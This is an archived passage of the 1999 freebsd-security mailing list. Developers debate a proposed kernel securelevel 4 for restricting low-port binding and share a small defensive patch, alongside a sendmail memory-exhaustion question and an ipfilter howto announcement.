Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 21:58: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E622014D41; Sun, 20 Jun 1999 21:57:54 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id WAA67251; Sun, 20 Jun 1999 22:57:50 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id WAA95598; Sun, 20 Jun 1999 22:58:44 -0600 (MDT) Message-Id: <199906210458.WAA95598@harmony.village.org> To: Eivind Eklund Subject: Re: proposed secure-level 4 patch Cc: "Brian W. Buchanan" , FreeBSD-security Mailing List In-reply-to: Your message of "Sun, 20 Jun 1999 22:37:57 +0200." <19990620223757.K63035@bitbox.follo.net> References: <19990620223757.K63035@bitbox.follo.net> <19990620180356.J63035@bitbox.follo.net> Date: Sun, 20 Jun 1999 22:58:44 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- In message <19990620223757.K63035@bitbox.follo.net> Eivind Eklund writes: : I won't go so far as to say that the introduction of securelevel 4 is : a regression (it is nice functionality when you want to truly secure a : box), but it would be much better if it came after having made : "securelevel" a set of orthogonal switches. I would go that far, or at least say that it isn't a desirable progression. A more general, and useful, feature would be to have some sysctls that become readonly at secure level 2 or greater. I could also be talked into making this a separate sysctl which once set cannot be unset. This would allow me to turn off binding of ports, turning on secure ports, turning other features on/off with a finer toothed comb. I do not think that the proposed secure level 4 would materially improve security and strikes me as a kludge. I do agree that there needs to be a secure way to keep it off once off, but secure level 4 isn't it. Speaking on the implementation issues, it would be sufficient to add a bit in the type field for the SYSCTL_PROC function. This bit would be checked before allowing the sysctl to be written. That stikes me as a much more useful way to do this. This issue was beaten to death in the NetBSD lists recently. I believe it was der Mouse that proposed this in (I think) netbsd-security. After secure level 2 the desired security features becomes more orthogonal. Warner FreeBSD security officer. -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBN23Ggdxynu/2qPVhAQHZUwP6AmRkKONv7MXgPH079gC4BEXY58o8D/0K K3COjWPMOtReNF7jh88QZVncqldQrif0UGgz2CC2O/sqTJw8l2Bcnv+9rcwqEevV e9+LkptKSR6ea9cluwtvja6X40Zqzs1FqPljDyabzT2wZXmlqv8FQlTrus/IJ12Z GAzO+FZ8rTY= =3uCm -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 22: 4:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id A6E9114D41 for ; Sun, 20 Jun 1999 22:04:02 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA67267; Sun, 20 Jun 1999 23:04:01 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA95631; Sun, 20 Jun 1999 23:04:54 -0600 (MDT) Message-Id: <199906210504.XAA95631@harmony.village.org> To: Frank Tobin Subject: Re: securelevel descr Cc: Kirill Nosov , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Fri, 18 Jun 1999 03:02:45 CDT." References: Date: Sun, 20 Jun 1999 23:04:54 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Frank Tobin writes: : Well, the privileged ports concept is actually something that is a good : thing, if you can guarantee that only the trusted application X is bound : to that port, and not a trojaned version setup by an ordinary user. This : can be achieved by means of simmutable flags all over the place, and a : securelevel that doesn't allow any service to open a secure port. This is an orthgonal thing to securelevel. Make it a sysctl that allows anybody to bind to the secure ports when set to 0, root when 1 and nobody when 2 (although that would break rlogin/rsh, but I'll shed no tears there). Make this sysctl readonly at higher secure levels. Make it default to 1. You could then set it to 0 early in the boot process, start the daemons, then raise it to 1 or 2 when you are done. In another post I describe a very brief summary of the NetBSD discussion on the topic... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 22: 6:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 0099014D7A for ; Sun, 20 Jun 1999 22:06:44 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA67277; Sun, 20 Jun 1999 23:06:43 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA95654; Sun, 20 Jun 1999 23:07:31 -0600 (MDT) Message-Id: <199906210507.XAA95654@harmony.village.org> To: Darren Reed Subject: Re: proposed secure-level 4 patch Cc: brian@CSUA.Berkeley.EDU (Brian W. Buchanan), ftobin@bigfoot.com, freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sat, 19 Jun 1999 16:19:00 +1000." <199906190619.QAA28681@cheops.anu.edu.au> References: <199906190619.QAA28681@cheops.anu.edu.au> Date: Sun, 20 Jun 1999 23:07:31 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199906190619.QAA28681@cheops.anu.edu.au> Darren Reed writes: : Sounds like a sysctl is the knob you're looking for to enable and disable : this feature. Especially a sysctl that could be turned into a readonly one... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 22: 8:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (Postfix) with ESMTP id 1322A14D7A; Sun, 20 Jun 1999 22:08:23 -0700 (PDT) (envelope-from avalon@cheops.anu.edu.au) Received: (from avalon@localhost) by cheops.anu.edu.au (8.9.1/8.9.1) id PAA15117; Mon, 21 Jun 1999 15:08:01 +1000 (EST) From: Darren Reed Message-Id: <199906210508.PAA15117@cheops.anu.edu.au> Subject: Re: proposed secure-level 4 patch To: imp@harmony.village.org (Warner Losh) Date: Mon, 21 Jun 1999 15:08:01 +1000 (EST) Cc: eivind@FreeBSD.ORG, brian@CSUA.Berkeley.EDU, freebsd-security@FreeBSD.ORG In-Reply-To: <199906210458.WAA95598@harmony.village.org> from "Warner Losh" at Jun 20, 99 10:58:44 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org FWIW, Solaris2's TCP allows you to defined the top and bottom of this range, so if you made it 1-1 or similar, anyone could bind to anything. Maybe freebsd should do something similar ?? Sort of like the reverse of defining the top and bottom of the anonymous-port range. In some mail from Warner Losh, sie said: > > -----BEGIN PGP SIGNED MESSAGE----- > > In message <19990620223757.K63035@bitbox.follo.net> Eivind Eklund writes: > : I won't go so far as to say that the introduction of securelevel 4 is > : a regression (it is nice functionality when you want to truly secure a > : box), but it would be much better if it came after having made > : "securelevel" a set of orthogonal switches. > > I would go that far, or at least say that it isn't a desirable > progression. A more general, and useful, feature would be to have > some sysctls that become readonly at secure level 2 or greater. I > could also be talked into making this a separate sysctl which once set > cannot be unset. > > This would allow me to turn off binding of ports, turning on secure > ports, turning other features on/off with a finer toothed comb. I do > not think that the proposed secure level 4 would materially improve > security and strikes me as a kludge. I do agree that there needs to > be a secure way to keep it off once off, but secure level 4 isn't it. > > Speaking on the implementation issues, it would be sufficient to add a > bit in the type field for the SYSCTL_PROC function. This bit would be > checked before allowing the sysctl to be written. That stikes me as a > much more useful way to do this. > > This issue was beaten to death in the NetBSD lists recently. I > believe it was der Mouse that proposed this in (I think) > netbsd-security. > > After secure level 2 the desired security features becomes more > orthogonal. > > Warner > FreeBSD security officer. > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.3ia > Charset: noconv > Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface > > iQCVAwUBN23Ggdxynu/2qPVhAQHZUwP6AmRkKONv7MXgPH079gC4BEXY58o8D/0K > K3COjWPMOtReNF7jh88QZVncqldQrif0UGgz2CC2O/sqTJw8l2Bcnv+9rcwqEevV > e9+LkptKSR6ea9cluwtvja6X40Zqzs1FqPljDyabzT2wZXmlqv8FQlTrus/IJ12Z > GAzO+FZ8rTY= > =3uCm > -----END PGP SIGNATURE----- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 22: 8:55 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 486CB14FEF for ; Sun, 20 Jun 1999 22:08:50 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA67288; Sun, 20 Jun 1999 23:08:50 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA95679; Sun, 20 Jun 1999 23:09:44 -0600 (MDT) Message-Id: <199906210509.XAA95679@harmony.village.org> To: ark@eltex.ru Subject: Re: proposed secure-level 4 patch Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sun, 20 Jun 1999 02:59:37 +0400." <199906192259.CAA05415@paranoid.eltex.spb.ru> References: <199906192259.CAA05415@paranoid.eltex.spb.ru> Date: Sun, 20 Jun 1999 23:09:44 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199906192259.CAA05415@paranoid.eltex.spb.ru> -=ArkanoiD=- writes: : So rsh/rlogin has some use too. You can kerberize that services btw. Kerberized versions don't require secure ports, IIRC. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 22:18:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (Postfix) with ESMTP id 26D75151FE for ; Sun, 20 Jun 1999 22:18:47 -0700 (PDT) (envelope-from avalon@cheops.anu.edu.au) Received: (from avalon@localhost) by cheops.anu.edu.au (8.9.1/8.9.1) id PAA15232; Mon, 21 Jun 1999 15:18:35 +1000 (EST) From: Darren Reed Message-Id: <199906210518.PAA15232@cheops.anu.edu.au> Subject: Re: proposed secure-level 4 patch To: dev.null@funbox.demon.co.uk Date: Mon, 21 Jun 1999 15:18:34 +1000 (EST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <376D27ED.0180@funbox.demon.co.uk> from "dev.null@funbox.demon.co.uk" at Jun 20, 99 06:42:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from dev.null@funbox.demon.co.uk, sie said: > > > Eivind wrote: > > > I think using securelevel 4 for this is a bad idea. I believe the > > right thing to do with securelevels is to start splitting them into a > > set of different sysctls, where each individual feature can be turned > > off. It is convenient to have a set of sysctls you can use to "turn > > off everything" (like securelevel does today). > > Agreed! Another way of doing that might be to use a bit vector to > specify the securelevel. It would be closer in syntax to the current > method, and would give the desired flexibility and control over > the individual capabilitiies. > > Thoughts about a bit vector, anyone? This is more like a capabilities hook such as being worked on for the POSIX security changes. How about a bit vector defining which ports can and can't be bound from non-root below 1024 ? a 256 byte array doesn't sound too bad does it ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 0:19:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from alexander.pentalpha.com.hk (pop3.pentalpha.com.hk [210.176.109.1]) by hub.freebsd.org (Postfix) with ESMTP id E22CB14CC0 for ; Mon, 21 Jun 1999 00:19:37 -0700 (PDT) (envelope-from danny@pentalpha.com.hk) Received: (from uucp@localhost) by alexander.pentalpha.com.hk (8.9.3/8.9.3) id PAA00635 for ; Mon, 21 Jun 1999 15:19:36 +0800 (CST) (envelope-from danny@pentalpha.com.hk) Received: from jessica.pentalpha.com.hk(10.0.0.8) via SMTP by alexander.pentalpha.com.hk, id smtpdINL633; Mon Jun 21 15:19:32 1999 Received: (from uucp@localhost) by jessica.pentalpha.com.hk (8.9.3/8.9.1) id PAA38694 for ; Mon, 21 Jun 1999 15:19:30 +0800 (CST) Received: from 274.pentalpha.com.hk(10.0.0.168), claiming to be "274.penatlpha.com.hk" via SMTP by jessica.pentalpha.com.hk, id smtpdh38692; Mon Jun 21 15:19:28 1999 Message-ID: <04d801bebbb6$6649b0e0$a800000a@274.penatlpha.com.hk> From: "danny" To: Subject: mail problem Date: Mon, 21 Jun 1999 15:19:28 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org When I try to send out about 200 email with size of 16K throught the mail server at the same time, suddenly, follow messages come out and repeating on the smart host. Then, all the service get halt. Evently, it get reboot. What's wrong with the setting? It is FreeBSD 3.2-stable with sendmail 8.9.3. /kernel: swap_pager: out of swap space sendmail[358]: NOQUEUE: SYSERR(UID0): Out of memory!!: Cannot allocate memory Danny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 0:56:22 1999 Delivered-To: freebsd-security@freebsd.org Received: from adelphi.physics.adelaide.edu.au (adelphi.physics.adelaide.edu.au [129.127.36.247]) by hub.freebsd.org (Postfix) with ESMTP id D3F7414DAA for ; Mon, 21 Jun 1999 00:56:17 -0700 (PDT) (envelope-from kkennawa@physics.adelaide.edu.au) Received: from bragg (bragg [129.127.36.34]) by adelphi.physics.adelaide.edu.au (8.8.8/8.8.8/UofA-1.5) with SMTP id RAA02476; Mon, 21 Jun 1999 17:26:15 +0930 (CST) Received: from localhost by bragg; (5.65/1.1.8.2/05Aug95-0227PM) id AA30678; Mon, 21 Jun 1999 17:27:36 +0930 Date: Mon, 21 Jun 1999 17:27:35 +0930 (CST) From: Kris Kennaway X-Sender: kkennawa@bragg To: danny Cc: freebsd-security@freebsd.org Subject: Re: mail problem In-Reply-To: <04d801bebbb6$6649b0e0$a800000a@274.penatlpha.com.hk> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 21 Jun 1999, danny wrote: > When I try to send out about 200 email with size of 16K throught the mail > server at the same time, suddenly, follow messages come out and repeating on > the smart host. Then, all the service get halt. Evently, it get reboot. > What's wrong with the setting? It is FreeBSD 3.2-stable with sendmail 8.9.3. > > > /kernel: swap_pager: out of swap space Well, it's out of memory. Tell us why - i.e. what's using it all up (hint: man top). Telling us how much physical/swap you have is also a good start. > sendmail[358]: NOQUEUE: SYSERR(UID0): Out of memory!!: Cannot allocate > memory Kris > Danny ----- "Never criticize anybody until you have walked a mile in their shoes, because by that time you will be a mile away and have their shoes." -- Unknown To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 1:49: 1 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 15E011505F for ; Mon, 21 Jun 1999 01:48:19 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.1) id KAA44297; Mon, 21 Jun 1999 10:48:16 +0200 (CEST) (envelope-from des) To: Frank Tobin Cc: FreeBSD-security Mailing List Subject: Re: proposed secure-level 4 patch References: From: Dag-Erling Smorgrav Date: 21 Jun 1999 10:48:15 +0200 In-Reply-To: Frank Tobin's message of "Sat, 19 Jun 1999 00:56:19 -0500 (CDT)" Message-ID: Lines: 12 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Frank Tobin writes: > Okay, a good friend of mine Kris Wehner has written a patch to implement > the proposed securelevel of 4, which would disallow the opening of > secure ports (<1024) while in the securelevel of 4. The patch is against > 3.2-STABLE kernel, as of within 12 hours. I'd like to hear more comments > before I send it as a send-pr. The patch is attached. One word: capabilities. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 2:59: 9 1999 Delivered-To: freebsd-security@freebsd.org Received: from nova.kki.krakow.pl (nova.kki.krakow.pl [195.116.9.2]) by hub.freebsd.org (Postfix) with ESMTP id 6658014C12 for ; Mon, 21 Jun 1999 02:58:45 -0700 (PDT) (envelope-from shadow@kki.pl) Received: from altair (shadow@altair.kki.krakow.pl [195.116.9.172]) by nova.kki.krakow.pl (8.8.7/Ver.2c) with SMTP id LAA31770; Mon, 21 Jun 1999 11:16:39 +0200 Reply-To: From: "=?iso-8859-1?Q?Robert_'Shadow'_Paj=B9k?=" To: "Michael Richards" <026809r@dragon.acadiau.ca> Cc: Subject: RE: Allowing non root users to bind low ports Date: Mon, 21 Jun 1999 11:20:00 +0200 Message-ID: <002d01bebbc7$3cfc3440$ac0974c3@altair.kki.krakow.pl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I was giving this concept a little thought. If I'm not root and I can bind > a low port, let's say the telnet port. I could write myself a fake telnet > daemon and run it. Sooner or later, someone is going to try using it... > This whole thing about non-root users binding to low ports would only be > useful if there are no shell accounts on a machine IMO. Or do this in the Phrack's way - which means to create group ex. net which is able to bind to those ports ... it is better but still not perfect ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 5:21:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id 5108114C8C for ; Mon, 21 Jun 1999 05:21:06 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id OAA28277; Mon, 21 Jun 1999 14:21:05 +0200 (CEST) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id OAA81536; Mon, 21 Jun 1999 14:21:04 +0200 (MET DST) Date: Mon, 21 Jun 1999 14:21:04 +0200 From: Eivind Eklund To: Darren Reed Cc: dev.null@funbox.demon.co.uk, freebsd-security@FreeBSD.ORG Subject: Re: proposed secure-level 4 patch Message-ID: <19990621142104.X63035@bitbox.follo.net> References: <376D27ED.0180@funbox.demon.co.uk> <199906210518.PAA15232@cheops.anu.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: <199906210518.PAA15232@cheops.anu.edu.au>; from Darren Reed on Mon, Jun 21, 1999 at 03:18:34PM +1000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jun 21, 1999 at 03:18:34PM +1000, Darren Reed wrote: > How about a bit vector defining which ports can and can't be bound from > non-root below 1024 ? > > a 256 byte array doesn't sound too bad does it ? Why haven't I seen the magic words of 'Merge from OpenBSD' in a commit related to this yet? ;-) (OpenBSD has support for this, and the patches didn't look scarily large) Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 5:59:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 6A1D514FCA for ; Mon, 21 Jun 1999 05:58:40 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.1) id OAA49853; Mon, 21 Jun 1999 14:55:04 +0200 (CEST) (envelope-from des) To: Michael Richards <026809r@dragon.acadiau.ca> Cc: freebsd-security@FreeBSD.ORG Subject: Re: Allowing non root users to bind low ports References: From: Dag-Erling Smorgrav Date: 21 Jun 1999 14:55:04 +0200 In-Reply-To: Michael Richards's message of "Sun, 20 Jun 1999 12:45:40 -0300 (ADT)" Message-ID: Lines: 15 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Michael Richards <026809r@dragon.acadiau.ca> writes: > I was giving this concept a little thought. If I'm not root and I can bind > a low port, let's say the telnet port. I could write myself a fake telnet > daemon and run it. Sooner or later, someone is going to try using it... > This whole thing about non-root users binding to low ports would only be > useful if there are no shell accounts on a machine IMO. Well, duh. That's why we want to turn this off before going multiuser (but after starting stuff like sendmail etc.) Of course, a better solution would be ACLs. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 6:10:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id 6C04314C8B for ; Mon, 21 Jun 1999 06:10:25 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id JAA25767; Mon, 21 Jun 1999 09:11:24 -0400 (EDT) Date: Mon, 21 Jun 1999 09:12:55 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: danny Cc: freebsd-security@FreeBSD.ORG Subject: Re: mail problem In-Reply-To: <04d801bebbb6$6649b0e0$a800000a@274.penatlpha.com.hk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Are you using procmail? Someone posted a similiar problem to the list and procmail was a factor.. --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Mon, 21 Jun 1999, danny wrote: > When I try to send out about 200 email with size of 16K throught the mail > server at the same time, suddenly, follow messages come out and repeating on > the smart host. Then, all the service get halt. Evently, it get reboot. > What's wrong with the setting? It is FreeBSD 3.2-stable with sendmail 8.9.3. > > > /kernel: swap_pager: out of swap space > sendmail[358]: NOQUEUE: SYSERR(UID0): Out of memory!!: Cannot allocate > memory > > Danny > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 7:14:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (Postfix) with ESMTP id 3AD2114C32; Mon, 21 Jun 1999 07:14:27 -0700 (PDT) (envelope-from avalon@cheops.anu.edu.au) Received: (from avalon@localhost) by cheops.anu.edu.au (8.9.1/8.9.1) id AAA19019; Tue, 22 Jun 1999 00:14:38 +1000 (EST) From: Darren Reed Message-Id: <199906211414.AAA19019@cheops.anu.edu.au> Subject: Re: proposed secure-level 4 patch To: eivind@FreeBSD.ORG (Eivind Eklund) Date: Tue, 22 Jun 1999 00:14:38 +1000 (EST) Cc: avalon@coombs.anu.edu.au, dev.null@funbox.demon.co.uk, freebsd-security@FreeBSD.ORG In-Reply-To: <19990621142104.X63035@bitbox.follo.net> from "Eivind Eklund" at Jun 21, 99 02:21:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Eivind Eklund, sie said: > > On Mon, Jun 21, 1999 at 03:18:34PM +1000, Darren Reed wrote: > > How about a bit vector defining which ports can and can't be bound from > > non-root below 1024 ? > > > > a 256 byte array doesn't sound too bad does it ? > > Why haven't I seen the magic words of 'Merge from OpenBSD' in a commit > related to this yet? ;-) > > (OpenBSD has support for this, and the patches didn't look scarily large) Because nobody who tracks OpenBSD reads this list ? :) By all means, if that's what they do then import their code rather than create a new and incompatible mechanism. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 7:24:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from happy.cow.org (happy.cow.org [198.88.20.7]) by hub.freebsd.org (Postfix) with ESMTP id A231B14BCD for ; Mon, 21 Jun 1999 07:24:57 -0700 (PDT) (envelope-from wehner@happy.cow.org) Received: (from wehner@localhost) by happy.cow.org (8.9.3/8.9.3) id KAA67602; Mon, 21 Jun 1999 10:24:20 -0400 (EDT) (envelope-from wehner) Date: Mon, 21 Jun 1999 09:24:16 -0500 From: Kris Wehner To: Allan Saddi Cc: Frank Tobin , kris@further.com, FreeBSD-security Mailing List Subject: Re: proposed secure-level 4 patch (fwd) Message-ID: <19990621092414.A62936@happy.cow.org> References: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=qMm9M+Fa2AknHoGS X-Mailer: Mutt 0.95.5i In-Reply-To: ; from Allan Saddi on Sun, Jun 20, 1999 at 02:54:40AM -0700 Organization: Further Consulting X-Longhaired-Whiteguy-Version: 1.1 X-PGP-Fingerprint: <0x531E2A4D> 7A 7E DB 08 E4 68 CF F0 84 B4 55 9B 6D DB 8D 72 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --qMm9M+Fa2AknHoGS Content-Type: text/plain; charset=us-ascii Previously, Allan Saddi (asaddi@philosophysw.com) said: > There are still problems with this no-bind-securelevel patch: to resolve these problems (including the super-boneheaded network byte order problem), i moved the patch down to in_pcb.c so it handles udp+tcp, swapped the <= for a < and it works like a champ. this is against -current. if anyone is interested, i also fixed unionfs and the vfs_syscalls.c to disable unionfs mounts and mount -o union in securelevel >= 2. kris --qMm9M+Fa2AknHoGS Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="in_pcb.diff" *** in_pcb.c-orig Tue Jun 22 09:28:42 1999 --- in_pcb.c Tue Jun 22 09:30:24 1999 *************** *** 175,180 **** --- 175,186 ---- if (sin->sin_family != AF_INET) return (EAFNOSUPPORT); #endif + /* + * Disallow bind if we are in super secure mode and port < 1024 + */ + if (sin->sin_family == AF_INET && ntohs(sin->sin_port) < IPPORT_RESERVED + && securelevel >= 4) + return EPERM; if (prison_ip(p, 0, &sin->sin_addr.s_addr)) return(EINVAL); lport = sin->sin_port; --qMm9M+Fa2AknHoGS-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 12:31:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from kitsune.swcp.com (swcp.com [198.59.115.2]) by hub.freebsd.org (Postfix) with ESMTP id 19BDB152CB for ; Mon, 21 Jun 1999 12:31:42 -0700 (PDT) (envelope-from synk@swcp.com) Received: (from synk@localhost) by kitsune.swcp.com (8.8.8/1.2.3) id NAA06200 for freebsd-security@FreeBSD.ORG; Mon, 21 Jun 1999 13:31:40 -0600 (MDT) Date: Mon, 21 Jun 1999 13:31:40 -0600 (MDT) From: Brendan Conoboy Message-Id: <199906211931.NAA06200@kitsune.swcp.com> To: freebsd-security@FreeBSD.ORG Subject: ipfilter howto, version 2 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org An updated and better organized version of the ipfilter howto is now available at: http://www.swcp.com/~synk/ipf-howto.txt I'll copy the work-in-progress there every once in a while so people always get something resembling the latest version. It's up over 40k at this point, so I'd rather not post it. I'd really like feedback, particularly corrections or additions (no grammatical corrections, please. I'll get to that once the document is fairly complete). Thanks to everybody for their suggestions so far. Not all of them have been followed, but will be persued soon. -Brendan (synk@swcp.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jun 21 13:23:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from mailsvr2.telebot.net (209.249.218.81.has.no.reverse 